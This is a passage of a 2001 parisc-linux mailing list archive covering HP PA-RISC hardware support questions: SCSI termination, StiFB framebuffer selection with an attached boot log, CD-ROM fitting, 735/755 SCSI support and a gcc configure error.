X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13373

Hello Maneesh,

>        selection .. Bus reset detected ..." etc. etc.

This sound like a problem I met a time ago: the scsi chain was opened
(ie during test I forgot to reconnect the scsi terminator to my external
drive).

If a scsi terminator is well connected may be could it be defective (or
a one not corresponding to your scsi interface logicaly Single-Ended if
your CD is connected to the narrow single-ended conector)?

Good luck,
	Joel



From - Thu Nov 08 21:20:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing (root)" <lansing@beldar.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J2240 - OK w/ 0.9.3
Date: Sun, 16 Dec 2001 09:50:57 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <3C1CB4D1.CA9C4132@beldar.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620854 31647 80.91.229.3 (22 Nov 2014 01:47:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 16 07:50:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beldar.com (ns.beldar.com [65.163.106.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08589482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Dec 2001 07:50:25 -0700 (MST)
Original-Received: from beldar.com (IDENT:root@dhcp-125.beldar.com [65.163.106.125])
	by beldar.com (8.9.3/8.9.3) with ESMTP id KAA89812
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Dec 2001 10:08:03 -0500 (EST)
	(envelope-from lansing@beldar.com)
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13374

I case anyone cares, 0.9.3 works great w/ a J2240 so far.  I still can't
get it to "see" the graphics head, but I haven't tried real hard w/
0.9.3 yet.





From - Thu Nov 08 21:20:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] StiFB-Problems
Date: Sun, 16 Dec 2001 21:34:45 +0100
Lines: 232
Approved: news@gmane.org
Message-ID: <3C1D0565.3000805@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------020905020905010301050705"
X-Trace: ger.gmane.org 1416620854 31653 80.91.229.3 (22 Nov 2014 01:47:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 16 13:33:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx04.nexgo.de (mx04.nexgo.de [151.189.8.80])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC61D482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Dec 2001 13:33:33 -0700 (MST)
Original-Received: from hrzpub.tu-darmstadt.de (dialin-145-254-194-012.arcor-ip.net [145.254.194.12])
	by mx04.nexgo.de (Postfix) with ESMTP id A482A37F3D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Dec 2001 21:33:18 +0100 (CET)
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13375

This is a multi-part message in MIME format.
--------------020905020905010301050705
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit

Hi there,

I have a question concerning the StiFB. I have  715/100 with two 
graphics cards, a built-in one and a HCRX-24 (listed by the kernel as 
Coral SGC). How can I change the device of the StiFB?
I tried sti=0 and sti=1 as boot parameter, but nothing happens. The 
console always opens on the fb0-device (the HCRX-24). I also tried 
video=map:x , which caused a crash right after palo loaded the kernel.
But I can use the built-in card with XFree86. If I add the line  
"fbdevice" "/dev/fb1" to XF86Config, then XFree starts on the built-in card.
Can somebody help me ? The Resolution of the HCRX (1280x1024) is a 
little bit to high for my 17"-Monitor (The font is so small...)

Another problem : Using mpg321 from the 0.9.3 release gives me  the 
failure "Illegal instruction". Glibc-Version is 2.2.4-7. The stack dump 
is in the attached boot.log-file.

And a last question (a little OT): I want to buy a CD-ROM for my box. 
Which one fits the bay with the panel? I tried a Plextor TS-40, but it 
was a bit to large.

Rdiger

--------------020905020905010301050705
Content-Type: text/plain;
 name="boot.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="boot.log"

Linux version 2.4.16-pa20 (ruediger@gandalf) (gcc version 3.0.2 (Debian)) #1 Sun Dec 16 14:09:47 CET 2001
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 000060b0 00000481 00000000 00000000 77b661a7 00000000 00000004 00000072 00000072
vers  0000000b
model 9000/715
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
zone(0): 32768 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sda4 HOME=/ console=tty0 sti=0 sti_font=VGA8x16 TERM=linux
Console: colour dummy device 160x64
Calibrating delay loop... 99.73 BogoMIPS
Memory: 126152k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf4000000 [0], versions 0x4, 0x0, 0x77
2. Mirage GSC Builtin Graphics (10) at 0xf8000000 [1], versions 0x13, 0x0, 0x85
3. Mirage Core BA (11) at 0xf0100000 [2], versions 0x29, 0x0, 0x81
4. Mirage Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x29, 0x0, 0x82
5. Mirage Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x29, 0x0, 0x8a
6. Mirage Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x29, 0x0, 0x8c
7. Mirage Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x29, 0x0, 0x74
8. Mirage Audio (10) at 0xf0104000 [2/0/8], versions 0x29, 0x0, 0x7b
9. Mirage Core PC Floppy (10) at 0xf010a000 [2/0/10], versions 0x29, 0x0, 0x83
10. Mirage Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x29, 0x0, 0x84
11. Mirage Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x29, 0x0, 0x84
12. Mirage Wax BA (11) at 0xf0200000 [5], versions 0x13, 0x0, 0x8e
13. Mirage 100 Wax HIL (10) at 0xf0201000 [5/0/1], versions 0x13, 0x0, 0x73
14. Mirage Wax RS-232 (10) at 0xf0202000 [5/0/2], versions 0x13, 0x0, 0x8c
15. Mirage 100 (0) at 0xfffbe000 [8], versions 0x60b, 0x0, 0x4
16. Mirage 100 (1) at 0xfffbf000 [9], versions 0x4b, 0x0, 0x9
CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
Lasi version 0 at 0xf0100000 found.
LED display at f00e0000 registered
Wax at 0xf0200000 found.
Wax: HIL Keyboard-NMI registered.
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Enabled gecko-style soft power switch.
Starting kswapd
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
Trying STI ROM at f4000000, hpa at f4000000
STI byte mode ROM at f4000000, hpa=f4000000
selected 8x16 fb-font VGA8x16
STI byte mode ROM, id 2bcb015a-9a02587, conforms to spec rev. 8.04
 supports 3 monitors
 font start 00003f74
 region list 00003f58
 init_graph 000000d8
 alternate code type 0
region #0: phys f4000000, virt f4000000, len=768kB, btlb=1, sysonly=0, cache=0, last=0
region #1: phys f5000000, virt f5000000, len=16384kB, btlb=1, sysonly=0, cache=0, last=0
region #2: phys f4100000, virt f4100000, len=2560kB, btlb=1, sysonly=0, cache=0, last=0
region #3: phys f40c0000, virt f40c0000, len=256kB, btlb=1, sysonly=0, cache=0, last=0
region #4: phys f4c00000, virt f4c00000, len=4096kB, btlb=1, sysonly=0, cache=0, last=0
region #5: phys f4380000, virt f4380000, len=4kB, btlb=0, sysonly=1, cache=0, last=1
3 text planes
1280 x 1024 screen resolution
   0 x    0 offscreen
2048 x 1024 layout
regions at f4000000 f5000000 f4100000 f40c0000
regions at f4c00000 f4380000 00000000 00000000
reent_lvl 0
save_addr 0006a400
monitor 3
in friendly mode: 0
power consumption 0 watts
freq ref 0
sti_mem_addr 005ef460 (size=256 bytes)
8 bits per pixel
8 used bits
24 planes
attributes 00003836
STI device: HPA4071A
Trying STI ROM at f8000000, hpa at f8000000
Trying STI ROM at f0024000, hpa at f8000000
STI word mode ROM at f0024000, hpa=f8000000
STI word mode ROM, id 2b4ded6d-40a00499, conforms to spec rev. 8.04
 supports 13 monitors
 font start 000037d4
 region list 000037c0
 init_graph 00000808
 alternate code type 0
region #0: phys f0024000, virt f0024000, len=24kB, btlb=1, sysonly=0, cache=0, last=0
region #1: phys f9000000, virt f9000000, len=16384kB, btlb=1, sysonly=0, cache=0, last=0
region #2: phys f8100000, virt f8100000, len=2560kB, btlb=1, sysonly=0, cache=0, last=0
region #3: phys f8380000, virt f8380000, len=4kB, btlb=0, sysonly=1, cache=0, last=1
3 text planes
1024 x  768 screen resolution
   0 x    0 offscreen
2048 x 1024 layout
regions at f0024000 f9000000 f8100000 f8380000
regions at 00000000 00000000 00000000 00000000
reent_lvl 0
save_addr 0006a800
monitor 9
in friendly mode: 0
power consumption 0 watts
freq ref 0
sti_mem_addr 005ef660 (size=256 bytes)
8 bits per pixel
8 used bits
8 planes
attributes 00001836
STI device: HPA208LC1024
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio: 0xf4100000
fb1: stifb 1024x768-8 frame buffer device, id: 2b4ded6d, mmio: 0xf8100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0202800 (irq = 121) is a 16550A
PS/2 keyboard port at 0xf0108000 (irq 69) found, device attached.
PS/2 psaux port at 0xf0108100 (irq 69) found, device attached.
Found HIL at 0xf0201000, IRQ 126
HIL: no keyboard present.
Warning : device (10, 0x13, 0x0, 0x73) NOT claimed by HIL
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=32
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 7A DC 08 IRQ 87.
82596.c $Revision: 1.27 $
SCSI subsystem driver Revision: 1.00
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2 
scsi0 : LASI SCSI 53c700
scsi0: (6:0) Synchronous at offset 8, period 100ns
  Vendor: SEAGATE   Model: ST32430N          Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
scsi0: (6:0) Enabling Tag Command Queuing
SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
Lasi Harmony Audio rev. 18 at 0xf0104000, using IRQ 82
sticonsole_init: searching for STI ROMs
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     : 17177.600 MB/sec
   8regs_prefetch:    70.800 MB/sec
   32regs    :   118.400 MB/sec
   32regs_prefetch:   119.200 MB/sec
raid5: using function: 8regs (17177.600 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
NOT FREEING INITMEM
Adding Swap: 132920k swap-space (priority -1)
eth0: link ok.
Warning: Remapping obsolete /dev/fb* minor 32 to 1
mpg321 (pid 219): Privileged operation (code 10)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111000001111 Not tainted
r00-03  00000000 40028cc0 4000b947 00000081
r04-07  4026e3a4 402855d0 40257e84 0002fd90
r08-11  4025163c 40028544 faf03cc8 40257e84
r12-15  4024e000 00000080 4024f1dc 40253a30
r16-19  40028544 0000000c 00000000 40028544
r20-23  0000001b 00036b10 00000000 4024e000
r24-27  40284b10 00000081 40256e58 00027e50
r28-31  00000081 00000041 faf03e00 4000933f
sr0-3   00000018 00000018 00000000 00000018
sr4-7   00000018 00000018 00000018 00000018
IASQ: 00000018 00000018 IAOQ: 4000b66b 4000b66f
 IIR: 04000000    ISR: 00000018  IOR: 00000000
 CPU:        0   CR30: 16b40000 CR31: 10360000
 ORIG_R28: 00000000

--------------020905020905010301050705--




From - Thu Nov 08 21:20:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "diab" <diab@diab.rulez.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] StiFB-Problems [off]
Date: Sun, 16 Dec 2001 22:32:00 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <002401c18679$193e90a0$7801a8c0@DIABMOBO>
References: <3C1D0565.3000805@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620855 31660 80.91.229.3 (22 Nov 2014 01:47:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:35 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: =?iso-8859-1?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 16 14:33:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bromelia.webreklam.hu (bromelia.webreklam.hu [195.56.113.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDFB9482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Dec 2001 14:33:48 -0700 (MST)
Original-Received: from DIABMOBO (adsl-1-107.tvnet.hu [195.38.103.107])
	by bromelia.webreklam.hu (8.9.3/8.9.3) with SMTP id WAA19004;
	Sun, 16 Dec 2001 22:27:44 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13376

> And a last question (a little OT): I want to buy a CD-ROM for my box.
> Which one fits the bay with the panel? I tried a Plextor TS-40, but it
> was a bit to large.
I was able to fit my 32x plextor "into" the same 715/100.
Had some trouble with the power connector, but it can be worked out. Try to
pull it out a bit
so it can be bent towards the right direction.
You might try to remove the metal "case" that holds the cd, put it in there
and screw
the metal case back w/ the cd-rom in it. I might be wrong about the exact
method because it was like 3-4 months ago, but the 32x plextor is still in
the 715/100 (and is working perfectly:)
good luck w/ the hw wrestling :)

From - Thu Nov 08 21:20:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 735 and SCSI (was: Re: [parisc-linux] Firmware upgraded, STI
	console problem)
Date: 16 Dec 2001 22:43:13 -0700
Lines: 78
Approved: news@gmane.org
Message-ID: <1008567794.533.9.camel@beavis>
References: <Pine.LNX.4.33.0112141351590.31282-100000@bob.ncssm.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620855 31665 80.91.229.3 (22 Nov 2014 01:47:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:35 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>
To: Phil Anderson <andersop@neverland.ncssm.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec 16 22:43:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93FBC482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Dec 2001 22:43:15 -0700 (MST)
Original-Received: from ns1.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 2387EBC57; Sun, 16 Dec 2001 22:43:14 -0700 (MST)
In-Reply-To: <Pine.LNX.4.33.0112141351590.31282-100000@bob.ncssm.edu>
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13377

On Fri, 2001-12-14 at 11:58, Phil Anderson wrote:
> On 13 Dec 2001, Ryan Bradetich wrote:
> 
> > On Wed, 2001-12-12 at 22:20, Matthew Wilcox wrote:
> > > On Wed, Dec 12, 2001 at 07:41:57PM -0900, Tom wrote:
> > > > By all means, feel free to post corrections, either here or direct to
> > > > me, and I'll update it. Also, if someone can think of something else
> > > > useful for it, just ask... (Perhaps the minimum kernel revision needed?)
> > >
> > > E, F, G, H, I class aren't supported straight off the CD; they require
> > > additional changes, AIUI.  Not to mention no support for their SCSI
> > > adapters.  K mostly works... similar problems to E.  D & R should work
> > > fine (problem with D class with remote management console).  735's FWDiff
> > > scsi doesn't work.
> >
> > 755 has the same FWDiff as the 735 (outfield) so it doesn't work either.
> 
> 
> So that would explain why none my 735's can detect hard drives.
> 
> I can boot off a CD on the regular scsi, and even though the boot_admin
> will detect my disks debian won't.
> 
> so has _anyone_ gotten a 735 working or anything? I have 7 of them that
> are taking up space in my dorm room, and two 755's under the desk that
> server the same purpose...

Yes,  I tested an early 0.9.3-rc image on the 755 using a single ended
disk on the 755.  The Hardball ERS is published at:
	http://parisc-linux.org/documentation/index.html

if you are interested in taking a stab at getting the FW scsi working :)

- Ryan


> -phil
> 
> 
> 
> 
> 
> 
> >
> > - Ryan
> >
> > > --
> > > Revolutions do not require corporate support.
> > >
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > >
> >
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
> 
> -- 
> ===============================================================================
> 
> Phil Anderson
> UNIX Systems Administrator
> andersop@neverland.ncssm.edu
> The_13th_Ewok@hotmail.com
> 
> "Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson
> 
> 





From - Thu Nov 08 21:20:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc on 0.9.3 iso problem
Date: Mon, 17 Dec 2001 15:43:32 +0800
Lines: 22
Approved: news@gmane.org
Message-ID: <20011217154330.N10359@neep.com.au>
References: <561134811041.20011215144325@reinarts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620855 31669 80.91.229.3 (22 Nov 2014 01:47:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:35 +0000 (UTC)
Cc: Joerg Hartmann <J.Hartmann@reinarts.de>
To: PARISC Linux List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 00:43:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-05.iinet.net.au [203.59.3.37])
	by dsl2.external.hp.com (Postfix) with SMTP id BFAFF482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 00:43:49 -0700 (MST)
Original-Received: (qmail 22319 invoked by uid 666); 17 Dec 2001 07:43:36 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.217.77)
  by mail.iinet.net.au with SMTP; 17 Dec 2001 07:43:36 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id PAA30934;
	Mon, 17 Dec 2001 15:43:35 +0800
Mail-Followup-To: PARISC Linux List <parisc-linux@lists.parisc-linux.org>,
	Joerg Hartmann <J.Hartmann@reinarts.de>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <561134811041.20011215144325@reinarts.de>; from J.Hartmann@reinarts.de on Sat, Dec 15, 2001 at 02:43:25PM +0100
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13378

Quoth Joerg Hartmann:
> hp-tux:/usr/src/samba-2.2.2/source# ./configure
> creating cache ./config.cache
> checking for gcc... gcc
> checking whether the C compiler (gcc -O  ) works... no
> configure: error: installation or configuration problem:
>            C compiler cannot create executables.
> 
> Could someone please explains whats wrong here ?

Randolph's already answered your question, but I just wanted to say that
I think your hostname is rather cool.  =)

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."



From - Thu Nov 08 21:20:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joerg Hartmann <J.Hartmann@reinarts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] what is palo/lifimage for ?
Date: Mon, 17 Dec 2001 11:21:42 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <771295508933.20011217112142@reinarts.de>
Reply-To: Joerg Hartmann <J.Hartmann@reinarts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620856 31673 80.91.229.3 (22 Nov 2014 01:47:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:36 +0000 (UTC)
To: PARISC Linux List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 02:10:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from post.webmailer.de (natpost.webmailer.de [192.67.198.65])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26A58482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 02:10:10 -0700 (MST)
Original-Received: from computer (pec-160-68.tnt9.b2.uunet.de [149.225.160.68])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id KAA05111
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 10:10:06 +0100 (MET)
X-Mailer: The Bat! (v1.53d) UNREG / CD5BF9353B3B7091
